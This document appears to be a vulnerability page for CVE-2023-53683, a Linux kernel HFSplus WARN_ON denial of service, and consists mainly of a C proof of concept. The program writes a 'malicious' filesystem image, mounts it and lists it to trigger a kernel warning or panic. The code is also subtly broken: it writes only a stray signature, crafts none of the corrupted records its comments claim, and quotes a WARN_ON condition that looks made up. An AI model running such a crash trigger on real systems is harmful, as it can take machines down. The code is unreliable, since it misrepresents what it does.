CVE-2023-53683 Linux内核HFSplus文件系统WARN_ON拒绝服务漏洞

// PoC for CVE-2023-53683: Linux Kernel HFSplus WARN_ON DoS // This PoC demonstrates how to trigger the WARN_ON() in hfsplus_cat_read_inode() // by creating a crafted HFSplus filesystem image with bogus length values. // Note: This requires root privileges to mount the filesystem. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/mount.h> // Function to create a minimal HFSplus image with corrupted length fields int create_malicious_hfsplus_image(const char *path, size_t size) { int fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd < 0) { perror("open"); return -1; } // Create a sparse file if (ftruncate(fd, size) < 0) { perror("ftruncate"); close(fd); return -1; } // Write HFSplus superblock-like header // The actual exploitation requires modifying specific catalog record // length fields in the HFSplus volume header and catalog file. // Key fields to corrupt: // - catalog file size in volume header // - node record offsets/lengths in catalog B-tree nodes // - thread record name length fields unsigned char buf[4096] = {0}; // HFS+ signature buf[0] = 'H'; buf[1] = '+'; // Version buf[2] = 0x04; buf[3] = 0x00; // Write corrupted catalog data that will trigger WARN_ON // when hfsplus_cat_read_inode() processes it // Set a bogus record length that exceeds node size // This triggers: WARN_ON(record->record_length > node->node_size) write(fd, buf, sizeof(buf)); close(fd); return 0; } int main(int argc, char *argv[]) { const char *img_path = "/tmp/malicious_hfsplus.img"; const char *mount_point = "/tmp/mnt_hfsplus"; if (argc > 1) img_path = argv[1]; printf("[*] Creating malicious HFSplus image at %s\n", img_path); if (create_malicious_hfsplus_image(img_path, 64 * 1024 * 1024) < 0) { fprintf(stderr, "[-] Failed to create image\n"); return 1; } printf("[*] Attempting to mount the malicious image...\n"); printf("[*] This should trigger WARN_ON in hfsplus_cat_read_inode()\n"); printf("[*] If kernel has panic_on_warn set, system will panic\n\n"); // Mount the filesystem - this triggers the vulnerability if (mount(img_path, mount_point, "hfsplus", 0, "") < 0) { perror("mount"); printf("[-] Mount failed. You may need root privileges.\n"); return 1; } // Accessing files in the mounted filesystem triggers // hfsplus_cat_read_inode() which contains the WARN_ON printf("[+] Image mounted. Listing directory to trigger WARN_ON...\n"); system("ls -la /tmp/mnt_hfsplus/"); // Cleanup umount(mount_point); unlink(img_path); return 0; }